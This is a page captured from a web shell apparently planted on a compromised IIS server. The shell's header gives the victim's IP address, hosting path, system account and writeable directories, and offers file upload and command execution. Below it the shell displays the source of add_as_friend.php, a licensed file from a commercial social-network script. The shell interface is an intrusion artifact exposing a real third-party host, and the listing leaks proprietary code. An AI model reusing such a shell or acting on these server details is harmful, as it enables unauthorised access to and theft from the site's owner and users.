403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/m/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/m//add_as_friend.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

$area = "login";
include("./_include/core/pony_start.php");


$uid = get_param('user_id');
if(!User::getInfoBasic($uid)) {
    Common::toHomePage();
}

$g['to_head'][] = '<link rel="stylesheet" href="'.$g['tmpl']['url_tmpl_mobile'].'css/home.css" type="text/css" media="all"/>';

class CProfile extends CHtmlBlock
{

	function parseBlock(&$html)
	{
		global $g;
		global $g_user;
		parent::parseBlock($html);
	}
}

class CFriendRequest extends CHtmlBlock
{
	var $user_id = 0;

	function action()
	{
	}

	function parseBlock(&$html)
	{
		global $g;
		global $l;
		global $g_user;
		global $g_info;
		global $gc;

		if(!$this->user_id || $this->user_id == $g_user['user_id'])
			Common::toHomePage();

		$html->setvar('user_id', $this->user_id);

		if($this->user_id == $g_user['user_id'])
		{
			$html->parse('my_friends', true);
		}
		else
		{
            $to = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : Common::getHomePage();
            $user = User::getInfoBasic($this->user_id);
            if ($user) {
                if (User::isFriendRequestExists($this->user_id, guid()) == $this->user_id) {
                    User::friendAdd($this->user_id, guid(), 1);
                    redirect($to);
                } else {
                    $html->parse('add_as_friend', false);
                }
                if (User::isFriend($this->user_id, guid())) {
                    redirect($to);
                }
                if (User::isFriendRequestExists(guid(),$this->user_id)) {
                    redirect($to);
                } else {
                    User::friendRequestSend($user,FALSE);
                }
            }

                $html->setvar('name', DB::result("SELECT name FROM user WHERE user_id=" . to_sql($this->user_id, 'Number')));
                $html->parse('users_friends', true);
            }

            parent::parseBlock($html);
        }
    }


g_user_full();

$page = new CProfile("", $g['tmpl']['dir_tmpl_mobile'] . "profile_view.html");
$header = new CHeader("header", $g['tmpl']['dir_tmpl_mobile'] . "_header.html");
$page->add($header);
$footer = new CFooter("footer", $g['tmpl']['dir_tmpl_mobile'] . "_footer.html");
$page->add($footer);

$type = get_param("display", "profile");
if ($type == "info") $list = new CUsersInfo("users_list", $g['tmpl']['dir_tmpl_mobile'] . "_list_users_info.html");
elseif ($type == "gallery") $list = new CUsersGallery("users_list", $g['tmpl']['dir_tmpl_mobile'] . "_list_users_gallery.html");
elseif ($type == "list") $list = new CUsersList("users_list", $g['tmpl']['dir_tmpl_mobile'] . "_list_users_list.html");
elseif ($type == "profile") $list = new CUsersProfile("users_list", $g['tmpl']['dir_tmpl_mobile'] . "_profile.html");
elseif ($type == "photo") $list = new CHtmlUsersPhoto("users_list", $g['tmpl']['dir_tmpl_mobile'] . "_photo.html");
else redirect("users_online.php");

$list->m_city_prefix = "| ";

$user_id = get_param('user_id', $g_user['user_id']);

$list->m_sql_where = "u.user_id=" . to_sql($user_id, 'Number') . "";
$list->m_is_me = ($user_id == $g_user['user_id']) ? true : false;
$page->add($list);

$friends_list = new CFriendRequest("friends_list", $g['tmpl']['dir_tmpl_mobile'] . "_friend_request_sent.html");
$friends_list->user_id = $user_id;
$page->add($friends_list);

include("./_include/current/profile_view_menu.php");
$profile_view_menu = new CProfileViewMenu("profile_view_menu", $g['tmpl']['dir_tmpl_mobile'] . "_profile_view_menu.html");
$profile_view_menu->user_id = $user_id;
$page->add($profile_view_menu);

$user_menu = new CUserMenu("user_menu", $g['tmpl']['dir_tmpl_mobile'] . "_user_menu.html");
$page->add($user_menu);

include("./_include/core/main_close.php");

?>

Youez - 2016 - github.com/yon3zu
LinuXploit